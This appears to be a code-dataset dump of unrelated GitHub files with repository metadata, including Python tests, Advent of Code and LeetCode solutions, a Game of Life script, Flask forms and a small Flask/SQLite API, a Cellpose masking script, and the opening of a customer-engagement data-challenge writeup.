obs_to_stack=['pos'], stack_depth=3, add_leading_dim=add_leading_dim) output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(expected_output_spec, output_spec) @parameterized.parameters( (False, (4,), (12,)), (True, (4,), (3, 4)), (False, (1,), (3,)), (True, (1,), (3, 1)), (False, (4, 4), (12, 4)), (True, (4, 4), (3, 4, 4)), ) def test_stack_observations(self, add_leading_dim, input_shape, output_shape): # Generate the input spec. input_obs_spec = { 'pos': specs.Array(shape=input_shape, dtype=np.float32, name='pos'), } input_spec = _build_unit_timestep_spec( observation_spec=input_obs_spec) preprocessor = observation_transforms.StackObservations( obs_to_stack=['pos'], stack_depth=3, add_leading_dim=add_leading_dim) preprocessor.setup_io_spec(input_spec) input_pos = np.random.random(input_shape).astype(np.float32) if add_leading_dim: expected_output_pos = np.stack([input_pos for _ in range(3)], axis=0) else: expected_output_pos = np.concatenate( [input_pos for _ in range(3)], axis=0) input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.FIRST, observation={'pos': input_pos,}) output_timestep = preprocessor.process(input_timestep) output_pos = output_timestep.observation['pos'] np.testing.assert_allclose(expected_output_pos, output_pos) np.testing.assert_allclose(expected_output_pos.shape, output_shape) class AddObservationTest(absltest.TestCase): def test_no_overwriting(self): preprocessor = observation_transforms.AddObservation( obs_name='pos', obs_callable=lambda _: [1., 1., 1.]) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) error_msg = 'Observation pos already exists.' with self.assertRaisesWithLiteralMatch(ValueError, error_msg): preprocessor.setup_io_spec(input_spec) def test_fail_to_run_obs_callable(self): preprocessor = observation_transforms.AddObservation( obs_name='new_obs', obs_callable=lambda timestep: timestep.observation['not_exist']) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) # The obs_callable is trying to use an observation named `not_exist` not # present. with self.assertRaisesRegex(KeyError, 'not_exist'): preprocessor.setup_io_spec(input_spec) def test_add_obs_correctly(self): preprocessor = observation_transforms.AddObservation( obs_name='new_obs', obs_callable=lambda _: np.asarray([1., 1., 1.], dtype=np.float32)) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': np.array([1.0, -1.5, 3.2], dtype=np.float32), 'quat': np.asarray(tr.euler_to_quat([0.1, 0.2, 0.3]), dtype=np.float32) } input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.MID, observation=input_obs) # Setup the expected output specs. expected_observation_spec = input_obs_spec.copy() expected_observation_spec['new_obs'] = ( specs.Array(shape=[3,], dtype=np.float32, name='new_obs')) expected_output_spec = copy.deepcopy(input_spec) # Check the specs. output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_observation_spec) self.assertEqual(output_spec.reward_spec, expected_output_spec.reward_spec) self.assertEqual(output_spec.discount_spec, expected_output_spec.discount_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) output_new_obs = output_timestep.observation['new_obs'] np.testing.assert_array_almost_equal(output_new_obs, [1., 1., 1.]) def test_add_obs_correctly_with_provided_specs(self): new_obs_spec = specs.BoundedArray( shape=(3,), dtype=np.int32, minimum=-1, maximum=3, name='new_obs') preprocessor = observation_transforms.AddObservation( obs_name='new_obs', obs_callable=lambda _: np.array([1, 1, 1], dtype=np.int32), obs_spec=new_obs_spec) # Generate the input spec and input timestep. input_obs_spec = { 'pos': specs.Array(shape=(3,), dtype=np.float32, name='pos'), 'quat': specs.Array(shape=(4,), dtype=np.float32, name='quat'), } input_spec = testing_functions.random_timestep_spec( observation_spec=input_obs_spec) input_obs = { 'pos': np.array([1.0, -1.5, 3.2], dtype=np.float32), 'quat': np.asarray(tr.euler_to_quat([0.1, 0.2, 0.3]), dtype=np.float32) } input_timestep = testing_functions.random_timestep( spec=input_spec, step_type=dm_env.StepType.MID, observation=input_obs) # Setup the expected specs. expected_observation_spec = dict(input_obs_spec) expected_observation_spec['new_obs'] = new_obs_spec expected_output_spec = copy.deepcopy(input_spec) output_spec = preprocessor.setup_io_spec(input_spec) self.assertEqual(output_spec.observation_spec, expected_observation_spec) self.assertEqual(output_spec.reward_spec, expected_output_spec.reward_spec) self.assertEqual(output_spec.discount_spec, expected_output_spec.discount_spec) # Check the timestep. output_timestep = preprocessor.process(input_timestep) spec_utils.validate_timestep(output_spec, output_timestep) output_new_obs = output_timestep.observation['new_obs'] np.testing.assert_array_almost_equal(output_new_obs, [1., 1., 1.]) def _build_unit_timestep_spec( observation_spec: Optional[Mapping[str, specs.Array]] = None, reward_spec: Optional[specs.Array] = None, discount_spec: Optional[specs.BoundedArray] = None): if observation_spec is None: name = 'foo' observation_spec = { name: specs.Array(shape=(2,), dtype=_DEFAULT_TYPE, name=name), } if reward_spec is None: reward_spec = scalar_array_spec(name='reward') if discount_spec is None: discount_spec = scalar_array_spec(name='discount') return spec_utils.TimeStepSpec( observation_spec=observation_spec, reward_spec=reward_spec, discount_spec=discount_spec) if __name__ == '__main__': absltest.main()

39.358037

80

0.706747

37,005

0.904923

0

13,818

0.337906

0

4,055

0.099161

a81fa302f2ff4cbc6dc18bbb647920f29a503d5e

1,897

py

Python

2017/23b.py

mcbor/advent_of_code_2016

14453b970d3e0f031ae6a66f2028652b6ed870dd

[ "MIT" ]

1

2016-12-17T10:53:22.000Z

2017/23b.py

mcbor/adventofcode

14453b970d3e0f031ae6a66f2028652b6ed870dd

[ "MIT" ]

null

2017/23b.py

mcbor/adventofcode

14453b970d3e0f031ae6a66f2028652b6ed870dd

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 23b.py ~~~~~~ Advent of Code 2017 - Day 23: Coprocessor Conflagration Part Two Now, it's time to fix the problem. The debug mode switch is wired directly to register a. You flip the switch, which makes register a now start at 1 when the program is executed. Immediately, the coprocessor begins to overheat. Whoever wrote this program obviously didn't choose a very efficient implementation. You'll need to optimize the program if it has any hope of completing before Santa needs that printer working. The coprocessor's ultimate goal is to determine the final value left in register h once the program completes. Technically, if it had that... it wouldn't even need to run the program. After setting register a to 1, if the program were to run to completion, what value would be left in register h? :copyright: (c) 2017 by Martin Bor. :license: MIT, see LICENSE for more details. """ import sys import math def is_prime(n): if n < 2: return False if n < 4: return True if n % 2 == 0 or n % 3 == 0: return False i = 5 for i in range(5, int(math.sqrt(n)) + 1, 6): if n % i == 0 or n % (i + 2) == 0: return False return True def solve(instructions): """Return value of h. Hand optimized. """ instr, reg, val = instructions.split('\n')[0].split() assert instr == 'set' assert reg == 'b' b = int(val) * 100 + 100000 start = b - 17000 end = b + 1 return sum(not is_prime(x) for x in range(start, end, 17)) def main(argv): if len(argv) == 2: f = open(argv[1], 'r') else: sys.stderr.write('reading from stdin...\n') f = sys.stdin print(solve(f.read().strip())) if __name__ == "__main__": sys.exit(main(sys.argv))

24.012658

79

0.615709

0

1,109

0.584607

a81fc289f1eb7f0a4f761bd960c55555bea22c98

4,456

py

Python

game_of_life.py

WinterWonderland/Game_of_Life

99eced42146a195b6a7bc423f76f0fd79f5771d2

[ "MIT" ]

null

game_of_life.py

WinterWonderland/Game_of_Life

99eced42146a195b6a7bc423f76f0fd79f5771d2

[ "MIT" ]

null

game_of_life.py

WinterWonderland/Game_of_Life

99eced42146a195b6a7bc423f76f0fd79f5771d2

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Thu Sep 20 11:59:50 2018 @author: klaus """ import numpy as np import matplotlib.pyplot as plt import time import random from argparse import ArgumentParser, RawTextHelpFormatter class GameOfLife: def __init__(self, width, height, interval, seed): random.seed(seed) self.height = height self.width = width self.interval = interval self.epoch = 0 self.board = np.zeros((self.height, self.width)) for x in range(int(self.width / 2 - self.width / 4), int(self.width / 2 + self.width / 4 + 1)): for y in range(int(self.height / 2 - self.height / 4), int(self.height / 2 + self.height / 4 + 1)): self.board[y][x] = random.choice([0, 1]) self.fig, self.ax = plt.subplots(figsize=(10, 10), num=1) self.fig.show() self.plot_board() def run(self): while self.run_step(): time.sleep(self.interval) def run_step(self): self.epoch += 1 new_board = self.board.copy() for x in range(self.width): for y in range(self.height): living_neighbors = self.board[y - 1 if y > 0 else self.height - 1][x - 1 if x > 0 else self.width - 1] + \ self.board[y - 1 if y > 0 else self.height - 1][x] + \ self.board[y - 1 if y > 0 else self.height - 1][x + 1 if x < self.width - 1 else 0] + \ self.board[y][x - 1 if x > 0 else self.width - 1] + \ self.board[y][x + 1 if x < self.width - 1 else 0] + \ self.board[y + 1 if y < self.height - 1 else 0][x - 1 if x > 0 else self.width - 1] + \ self.board[y + 1 if y < self.height - 1 else 0][x] + \ self.board[y + 1 if y < self.height - 1 else 0][x + 1 if x < self.width - 1 else 0] if self.board[y][x] == 0 and living_neighbors == 3: new_board[y][x] = 1 if self.board[y][x] == 1 and (living_neighbors < 2 or living_neighbors > 3): new_board[y][x] = 0 if (self.board == new_board).all(): return False self.board = new_board self.plot_board() return True def plot_board(self): print("Epoch:", self.epoch) self.ax.clear() self.ax.imshow(self.board, cmap="Greys", interpolation="None") self.fig.canvas.draw() self.fig.canvas.flush_events() if __name__ == "__main__": argument_parser = ArgumentParser(description=""" Game of Life: - Little python implementation of Conway's game of life. - The game board will be visualized with matplotlib. - See readme.md for more informations.""", epilog="https://github.com/WinterWonderland/Game_of_Life", formatter_class=RawTextHelpFormatter) argument_parser.add_argument("--width", metavar="", type=int, default=100, help="The width of the game board (default=100)") argument_parser.add_argument("--height", metavar="", type=int, default=100, help="The width of the game board (default=100)") argument_parser.add_argument("--interval", metavar="", type=float, default=0.3, help="Interval time between each step (default=0.3)") argument_parser.add_argument("--seed", metavar="", type=int, default=None, help="A seed for the random number generator to get identical play boards") args = argument_parser.parse_args() GameOfLife(width=args.width, height=args.height, interval=args.interval, seed=args.seed).run() input("press enter to quit")

41.64486

123

0.47711

2,446

0.548923

0

623

0.139811

a82054bcbbc93091d6cde0c3bba2fa420fc0e4b0

520

py

Python

tests/mixins/back_tests.py

StuartMacKay/ebird-api

14b5c777548416a58abec05e25cd4b9a8e22f210

[ "MIT" ]

9

2020-05-16T20:26:33.000Z

2021-11-02T06:24:46.000Z

tests/mixins/back_tests.py

StuartMacKay/ebird-api

14b5c777548416a58abec05e25cd4b9a8e22f210

[ "MIT" ]

17

2019-06-22T09:41:22.000Z

2020-09-11T06:25:21.000Z

tests/mixins/back_tests.py

ProjectBabbler/ebird-api

14b5c777548416a58abec05e25cd4b9a8e22f210

[ "MIT" ]

null

from ebird.api.constants import DEFAULT_BACK from tests.mixins.base import BaseMixin class BackTestsMixin(BaseMixin): def test_back_is_sent(self): query = self.api_call(back=10)[1] self.assertEqual(query["back"], 10) def test_default_back_is_not_sent(self): query = self.api_call(back=DEFAULT_BACK)[1] self.assertTrue("back" not in query) def test_invalid_back_raises_error(self): self.api_raises(ValueError, back=31) self.api_raises(ValueError, back="x")

30.588235

51

0.709615

432

0.830769

0

15

0.028846

a820c01ed9ab1a3512b23d858002b832b81b6f26

506

py

Python

examples/snippets/data_io/df_connect/export_simple.py

nguyentr17/tamr-toolbox

1d27101eda12f937813cdbfe27e2fa9c33ac34d2

[ "Apache-2.0" ]

6

2021-02-09T22:27:55.000Z

2022-01-14T18:15:17.000Z

examples/snippets/data_io/df_connect/export_simple.py

nguyentr17/tamr-toolbox

1d27101eda12f937813cdbfe27e2fa9c33ac34d2

[ "Apache-2.0" ]

34

2021-02-09T22:23:33.000Z

2022-03-31T16:22:51.000Z

examples/snippets/data_io/df_connect/export_simple.py

nguyentr17/tamr-toolbox

1d27101eda12f937813cdbfe27e2fa9c33ac34d2

[ "Apache-2.0" ]

12

2021-02-09T21:17:10.000Z

2022-02-09T16:35:39.000Z

""" Export data from Tamr using df-connect. An example where everything is default in config file, which implies exported data is written back to same database as ingested from. """ import tamr_toolbox as tbox my_config = tbox.utils.config.from_yaml("examples/resources/conf/connect.config.yaml") my_connect = tbox.data_io.df_connect.client.from_config(my_config) tbox.data_io.df_connect.client.export_dataset( my_connect, dataset_name="example_dataset", target_table_name="example_target_table", )

36.142857

94

0.8083

0

265

0.523715

a822bff3f043bc516ac3c82ab2394920c525256d

1,700

py

Python

services/web/project/auth/forms.py

petervuyk456/persona_finance

5c4c1bea0e176f37cc122571b846de1f020bdd92

[ "MIT" ]

null

services/web/project/auth/forms.py

petervuyk456/persona_finance

5c4c1bea0e176f37cc122571b846de1f020bdd92

[ "MIT" ]

null

services/web/project/auth/forms.py

petervuyk456/persona_finance

5c4c1bea0e176f37cc122571b846de1f020bdd92

[ "MIT" ]

null

from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, BooleanField from wtforms.validators import DataRequired, Length, EqualTo, URL from project.auth.models import User class LoginForm(FlaskForm): username = StringField('Username', [DataRequired(), Length(max=64)]) password = PasswordField( 'Password', [DataRequired(), Length(min=6, max=255)]) remember = BooleanField("Remember Me") def validate(self): check_validate = super(LoginForm, self).validate() if not check_validate: return False user = User.objects.get(username=self.username.data) if not user: self.username.errors.append('Invalid username or password') return False if not user.check_password(self.password.data): self.username.errors.append('Invalid username or password') return False return True class RegisterForm(FlaskForm): username = StringField('Username', [DataRequired(), Length(max=64)]) password = PasswordField( 'Password', [DataRequired(), Length(min=6, max=255)]) confirm = PasswordField('Confirm Password', [ DataRequired(), EqualTo('password')]) def validate(self): check_validate = super(RegisterForm, self).validate() # if our validators do not pass if not check_validate: return False try: user = User.objects.get(username=self.username.data) if user: self.username.errors.append( "User with that name already exists") return False except: return True

32.075472

72

0.629412

1,498

0.881176

0

208

0.122353

a82471d2b32cd5726156914bf073feb69a5965b8

10,619

py

Python

projectGo.py

KyleBrownCS/SoftDev2

c992061a849f19f1ccbea71e4c0aa97fb2e135dc

[ "MIT" ]

null

projectGo.py

KyleBrownCS/SoftDev2

c992061a849f19f1ccbea71e4c0aa97fb2e135dc

[ "MIT" ]

null

projectGo.py

KyleBrownCS/SoftDev2

c992061a849f19f1ccbea71e4c0aa97fb2e135dc

[ "MIT" ]

null

from flask import Flask, render_template, request, jsonify import sqlite3 import json import re import logging from applicationInfo import ApplicationInfo logging.basicConfig(filename='/var/www/SoftDev2/projectGo.log', level=logging.DEBUG) app = Flask(__name__) applicationInfo = ApplicationInfo() row_pos_obligationid = 0 row_pos_userid = 1 row_pos_name = 2 row_pos_description = 3 row_pos_starttime = 4 row_pos_endtime = 5 row_pos_priority = 6 row_pos_status = 7 row_pos_category = 8 def get_db(): db_connection = sqlite3.connect(applicationInfo.database_filepath) db_cursor = db_connection.cursor() return db_connection, db_cursor @app.route('/') def index(): return render_template("index.html") @app.route('/addobligation') def add_obligation_page(): return render_template("addobligation.html") @app.route('/obligations', methods = ['GET']) def get_all_obligations(): db_connection, db_cursor = get_db() response = "" data = [] for row in db_cursor.execute("select * from " + applicationInfo.OBLIGATION_TABLE_NAME): obligation_entry = { 'obligationid' : row[row_pos_obligationid], #obligationid 'userid' : row[row_pos_userid], #userid 'name' : row[row_pos_name], #name 'description' : row[row_pos_description], #description 'starttime' : row[row_pos_starttime], #starttime 'endtime' : row[row_pos_endtime], #endtime 'priority' : row[row_pos_priority], #priority 'status' : row[row_pos_status], #status 'category' : row[row_pos_category]} #category data.append(obligation_entry) response = json.dumps(data) return response, 200 @app.route('/schedule') def sched(): return render_template("Schedule.html") @app.route('/obligationlist') def obligationlist(): return render_template("ObligationList.html") @app.route('/obligations/<startTime>', methods = ['GET']) def get_obligations_by_date(startTime): db_connection, db_cursor = get_db() response = "" response_code = None data = [] count = 0; for row in db_cursor.execute("select * from " + applicationInfo.OBLIGATION_TABLE_NAME): start_time = row[row_pos_starttime] time_split = start_time.split(" ", 1) start_time = time_split[0] start_time.replace("'", "") if start_time == startTime: obligation_entry = {'obligationid' : row[row_pos_obligationid], #obligationid 'userid' : row[row_pos_userid], #userid 'name' : row[row_pos_name], #name 'description' : row[row_pos_description], #description 'starttime' : row[row_pos_starttime], #starttime 'endtime' : row[row_pos_endtime], #endtime 'priority' : row[row_pos_priority], #priority 'status' : row[row_pos_status], #status 'category' : row[row_pos_category]} #category data.append(obligation_entry) response = json.dumps(data) count = count + 1 if 0 == count: response_code = 404 else: response_code = 200 return response, response_code @app.route('/obligations/<int:obligation_id>', methods = ['GET']) def get_obligation(obligation_id): logging.debug('Attempting to GET obligation ' + str(obligation_id)) row = ""; response_code = None #execute query and get all rows that match (since obligation_id is unique there will be 0 or 1 db_connection, db_cursor = get_db() my_query = "select * from " + applicationInfo.OBLIGATION_TABLE_NAME + " where " + applicationInfo.OBLIGATION_ID_NAME + " = " + str(obligation_id) row = db_cursor.execute(my_query).fetchall() if (len(row) > 0): row = row[0] data = { 'obligationid' : row[row_pos_obligationid], #obligationid 'userid' : row[row_pos_userid], #userid 'name' : row[row_pos_name], #name 'description' : row[row_pos_description], #description 'starttime' : row[row_pos_starttime], #starttime 'endtime' : row[row_pos_endtime], #endtime 'priority' : row[row_pos_priority], #priority 'status' : row[row_pos_status], #status 'category' : row[row_pos_category]} #category data = json.dumps(data) response_code = 200 logging.debug('Obligation ' + str(obligation_id) + ' was found') else: data = jsonify({'error': 1}) response_code = 404 logging.debug('Obligation ' + str(obligation_id) + ' could not be found') return data, response_code @app.route('/obligations', methods = ['POST']) def create_obligation(): logging.debug('Attempting to create a new Obligation') db_connection, db_cursor = get_db() response = "" response_code = None user_id = request.form['userid'] name = request.form['name'] description = request.form['description'] start_time = request.form['starttime'] end_time = request.form['endtime'] priority = request.form['priority'] status = request.form['status'] category = request.form['category'] try: db_cursor.execute("insert into " + applicationInfo.OBLIGATION_TABLE_NAME + " (obligationid, userid, name, description, starttime, endtime, priority, status, category) values (?, ?, ?, ?, ?, ?, ?, ?, ?)", (None, user_id, name, description, start_time, end_time, priority, status, category)) #get the inserted obligations id so that it can be returned result = db_cursor.execute("select last_insert_rowid() FROM " + applicationInfo.OBLIGATION_TABLE_NAME).fetchall() if (len(result) > 0): result = result[0] obligation_id = result[0] db_connection.commit() response = jsonify({'obligation_id': obligation_id, 'result': "successfully added:" + name}) response_code = 200 logging.debug('Creation of obligation ' + str(obligation_id) + ' was a success') except Exception, e: logging.error('Obligation could not be created. Error message: ' + str(e)) response = jsonify({'error': str(e)}) response_code = 400 return response @app.route('/obligations/<int:obligation_id>', methods = ['POST']) def modify_obligation(obligation_id): logging.debug('attempting to edit obligation: ' + str(obligation_id)) logging.debug('incoming update data: ' + str(request.form)) db_connection, db_cursor = get_db() response = "" response_code = None try: my_query = "select * from " + applicationInfo.OBLIGATION_TABLE_NAME + " where " + applicationInfo.OBLIGATION_ID_NAME + "=" + str(obligation_id) row = db_cursor.execute(my_query).fetchall() if (len(row) > 0): row = row[0] keys = request.form.keys() if 'userid' in keys: user_id = request.form['userid'] else: user_id = row[row_pos_userid] if 'name' in keys: name = request.form['name'] else: name = row[row_pos_name] if 'description' in keys: description = request.form['description'] else: description = row[row_pos_description] if 'starttime' in keys: start_time = request.form['starttime'] else: start_time = row[row_pos_starttime] if 'endtime' in keys: end_time = request.form['endtime'] else: end_time = row[row_pos_endtime] if 'priority' in keys: priority = request.form['priority'] else: priority = row[row_pos_priority] if 'status' in keys: status = request.form['status'] else: status = row[row_pos_status] if 'category' in keys: category = request.form['category'] else: category = row[row_pos_category] db_cursor.execute("update " + applicationInfo.OBLIGATION_TABLE_NAME + " set userid=?, name=?, description=?, starttime=?, endtime=?, priority=?, status=?, category=? where obligationid = ?", (user_id, name, description, start_time, end_time, priority, status, category, obligation_id)) db_connection.commit() response_code = 200 logging.debug('Obligation was updated and commited to the db') else: logging.debug('Obligation ' + str(obligation_id) + ' could not be found or does not exist') response = jsonify({'error': '404 - No such obligation id'}) response_code = 404 except Exception, e: response = jsonify({'error': str(e)}) response_code = 500 logging.error('An error occured while trying to update obligation ' + str(obligation_id) + '. error message: ' + str(e)) return response, response_code @app.route('/obligations/<int:obligation_id>', methods = ['DELETE']) def delete_obligation(obligation_id): logging.debug('Attempting to DELETE obligation ' + str(obligation_id)) db_connection, db_cursor = get_db() response = "" response_code = None try: if (isinstance(obligation_id,(int,long))): my_query = "select * from " + applicationInfo.OBLIGATION_TABLE_NAME + " where " + applicationInfo.OBLIGATION_ID_NAME + "=" + str(obligation_id) row = db_cursor.execute(my_query).fetchall() if (len(row) > 0): db_cursor.execute("delete from " + applicationInfo.OBLIGATION_TABLE_NAME + " where " + applicationInfo.OBLIGATION_ID_NAME + "=" + str(obligation_id)) db_connection.commit() response = jsonify({'success': 'OK successfully deleted'}) response_code = 200 else: response = jsonify({'error': 'No such obligation id'}) response_code = 404 else: response = jsonify({'error': 'Bad Request - Info not properly provided'}) response_code = 400 except Exception, e: logging.error('Could not delete obligation ' + str(obligation_id) + '. Error message: ' + str(e)) response = jsonify({'error': str(e)}) response_code = 500 return response, response_code if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=int('5000'))

39.475836

297

0.617384

0

9,861

0.928619

0

2,469

0.232508

a8247bed0a1cb5051fa0d35c0fab64fca16aa20d

1,396

py

Python

python/cuML/test/test_dbscan.py

rongou/cuml

9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec

[ "Apache-2.0" ]

null

python/cuML/test/test_dbscan.py

rongou/cuml

9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec

[ "Apache-2.0" ]

null

python/cuML/test/test_dbscan.py

rongou/cuml

9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec

[ "Apache-2.0" ]

null

# Copyright (c) 2018, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import pytest from cuml import DBSCAN as cuDBSCAN from sklearn.cluster import DBSCAN as skDBSCAN from test_utils import array_equal import cudf import numpy as np @pytest.mark.parametrize('datatype', [np.float32, np.float64]) def test_dbscan_predict(datatype): gdf = cudf.DataFrame() gdf['0']=np.asarray([1,2,2,8,8,25],dtype=datatype) gdf['1']=np.asarray([2,2,3,7,8,80],dtype=datatype) X = np.array([[1, 2], [2, 2], [2, 3], [8, 7], [8, 8], [25, 80]], dtype = datatype) print("Calling fit_predict") cudbscan = cuDBSCAN(eps = 3, min_samples = 2) cu_labels = cudbscan.fit_predict(gdf) skdbscan = skDBSCAN(eps = 3, min_samples = 2) sk_labels = skdbscan.fit_predict(X) print(X.shape[0]) for i in range(X.shape[0]): assert cu_labels[i] == sk_labels[i]

32.465116

86

0.703438

0

637

0.456304

0

613

0.439112

a827531247ffd24ded530b9e0dea0c181d142c7b

114

py

Python

math_and_algorithm/024.py

tonko2/AtCoder

5d617072517881d226d7c8af09cb88684d41af7e

[ "Xnet", "X11", "CECILL-B" ]

2

2022-01-22T07:56:58.000Z

2022-01-24T00:29:37.000Z

math_and_algorithm/024.py

tonko2/AtCoder

5d617072517881d226d7c8af09cb88684d41af7e

[ "Xnet", "X11", "CECILL-B" ]

null

math_and_algorithm/024.py

tonko2/AtCoder

5d617072517881d226d7c8af09cb88684d41af7e

[ "Xnet", "X11", "CECILL-B" ]

null

N = int(input()) ans = 0 for _ in range(N): p, q = map(int, input().split()) ans += (1 / p) * q print(ans)

19

36

0.5

0

a8276b0d3215a9fe2604eec700ad87c77dc2f29b

769

py

Python

LeetCode/0023_merge_k_sorted_lists.py

KanegaeGabriel/ye-olde-interview-prep-grind

868362872523a5688f49ab48efb09c3008e0db4d

[ "MIT" ]

1

2020-05-13T19:16:23.000Z

LeetCode/0023_merge_k_sorted_lists.py

KanegaeGabriel/ye-olde-interview-prep-grind

868362872523a5688f49ab48efb09c3008e0db4d

[ "MIT" ]

null

LeetCode/0023_merge_k_sorted_lists.py

KanegaeGabriel/ye-olde-interview-prep-grind

868362872523a5688f49ab48efb09c3008e0db4d

[ "MIT" ]

null

from heapq import heappush, heappop class ListNode: def __init__(self, x): self.val = x self.next = None def __lt__(self, other): return self.val < other.val def mergeKLists(lists): result = ListNode(-1) p = result heap = [] for l in lists: if l: heappush(heap, l) while heap: cur = heappop(heap) if cur.next: heappush(heap, cur.next) p.next = cur p = p.next return result.next l1 = ListNode(1) l1.next = ListNode(4) l1.next.next = ListNode(5) l2 = ListNode(1) l2.next = ListNode(3) l2.next.next = ListNode(4) l3 = ListNode(2) l3.next = ListNode(6) l3 = mergeKLists([l1, l2, l3]) p = l3 while p: print(p.val, end=" ") # 1 1 2 3 4 4 5 6 p = p.next print()

17.477273

45

0.579974

154

0.20026

0

20

0.026008

a8281ad0fab5136b54ef02f2bff2a74dd9aaaf90

166

py

Python

archiver/utils.py

jenrik/archiver

b9e10661d6a79b745796b248c35287db232da8ff

[ "BSD-3-Clause" ]

null

archiver/utils.py

jenrik/archiver

b9e10661d6a79b745796b248c35287db232da8ff

[ "BSD-3-Clause" ]

null

archiver/utils.py

jenrik/archiver

b9e10661d6a79b745796b248c35287db232da8ff

[ "BSD-3-Clause" ]

null

def archive_link(link): # Create a snapshot of the link on the internet archive # ToDo # Ref: https://archive.readme.io/docs/creating-a-snapshot pass

27.666667

61

0.692771

0

118

0.710843

a82a766dd5a8919e5aec354cbe63b71c9cd59549

2,297

py

Python

source/cell_mask/cell_mask.py

zhanyinx/SPT_analysis

1cf806c1fd6051e7fc998d2860a16bea6aa9de1a

[ "MIT" ]

1

2021-07-09T11:51:04.000Z

source/cell_mask/cell_mask.py

zhanyinx/SPT_analysis

1cf806c1fd6051e7fc998d2860a16bea6aa9de1a

[ "MIT" ]

null

source/cell_mask/cell_mask.py

zhanyinx/SPT_analysis

1cf806c1fd6051e7fc998d2860a16bea6aa9de1a

[ "MIT" ]

null

import argparse import glob import numpy as np import os import skimage.io import torch import tifffile from cellpose import models def _parse_args(): """Parse command-line arguments.""" parser = argparse.ArgumentParser() parser.add_argument( "-i", "--input", type=str, default=None, required=True, help="Input image or folder with images to mask.", ) parser.add_argument( "-o", "--output", type=str, default=None, required=False, help="Output folder, default mask within input folder", ) parser.add_argument( "-t", "--target", type=str, default=None, required=False, help="Target channel tag, if provided, it will look for files with the tag.", ) args = parser.parse_args() return args def main(): """Create cell masks and save them into mask folder within input folder.""" args = _parse_args() if os.path.isdir(args.input): inputs = glob.glob(f"{args.input}/*tif") elif os.path.isfile(args.input): inputs = [args.input] else: raise ValueError(f"Expected input folder or file. Provided {args.input}.") if args.target is not None: inputs = [x for x in inputs if args.target in x] output = args.output if output is None: output = f"{os.path.abspath(args.input)}/mask" if not os.path.exists(output): os.mkdir(output) cellpose_model = models.Cellpose(model_type="cyto", gpu=False) for input_file in inputs: img = skimage.io.imread(input_file) middle_slice = len(img) // 2 if len(img.shape) == 4: mask_nucl, *_ = cellpose_model.eval( [np.max(img, axis=1)[middle_slice]], diameter=150, channels=[0, 0], min_size=15, ) if len(img.shape) == 3: mask_nucl, *_ = cellpose_model.eval( [img[middle_slice]], diameter=150, channels=[0, 0], min_size=15, ) name = os.path.basename(input_file) out = f"{output}/{name}" tifffile.imsave(out, mask_nucl[0]) if __name__ == "__main__": main()

25.241758

85

0.562908

0

462

0.201132

a82b6067d87e3c320c8e0fb55b9b998dccade592

14,134

py

Python

02-customer-cliff-dive/python/emery_leslie.py

leslem/insight-data-challenges

14c56d30663d7fef178b820d2128dbf4782c1200

[ "MIT" ]

null

02-customer-cliff-dive/python/emery_leslie.py

leslem/insight-data-challenges

14c56d30663d7fef178b820d2128dbf4782c1200

[ "MIT" ]

1

2021-06-08T02:43:08.000Z

2021-06-08T03:05:21.000Z

02-customer-cliff-dive/python/emery_leslie.py

leslem/insight-data-challenges

14c56d30663d7fef178b820d2128dbf4782c1200

[ "MIT" ]

null

# # Customer cliff dive data challenge # 2020-02-17 # Leslie Emery # ## Summary # ### The problem # The head of the Yammer product team has noticed a precipitous drop in weekly active users, which is one of the main KPIs for customer engagement. What has caused this drop? # ### My approach and results # I began by coming up with several questions to investigate: # - Was there any change in the way that weekly active users is calculated? # - This does not appear to be the case. To investigate this, I began by replicating the figure from the dashboard. I calculated a rolling 7-day count of engaged users, making sure to use the same method across the entire time frame covered by the dataset, and it still showed the same drop in engagement. # - Was there a change in any one particular type of "engagement"? # - I looked at a rolling 7-day count of each individual type of engagement action. From plotting all of these subplots, it looks to me like home_page, like_message, login, send_message, and view_inbox are all exhibiting a similar drop around the same time, so it's these underlying events that are driving the drop. # - Could a change in the user interface be making it more difficult or less pleasant for users? # - I couldn't find information in the available datasets to address this question. The `yammer_experiments` data set has information about experiments going on, presumably in the user interface. All of the listed experiments happened in June of 2014, though, which I think is too early to have caused the August drop in engagement. # - Is this drop a seasonal change that happens around this time every year? # - Because the data is only available for the period of time shown in the original dashboard, I can't investigate this question. I'd be very interested to see if there is a pattern of reduced engagement at the end of the summer, perhaps related to vacation or school schedules. # - Are users visiting the site less because they're getting more content via email? # - I calculated 7-day rolling counts of each type of email event, and all email events together. Email events overall went up during the time period immediately before the drop in user engagement. All four types of email events increased during the same period, indicating higher clickthroughs on emails, higher numbers of email open events, and more reengagement and weekly digest emails sent. It could be that the higher number of weekly digests sent out 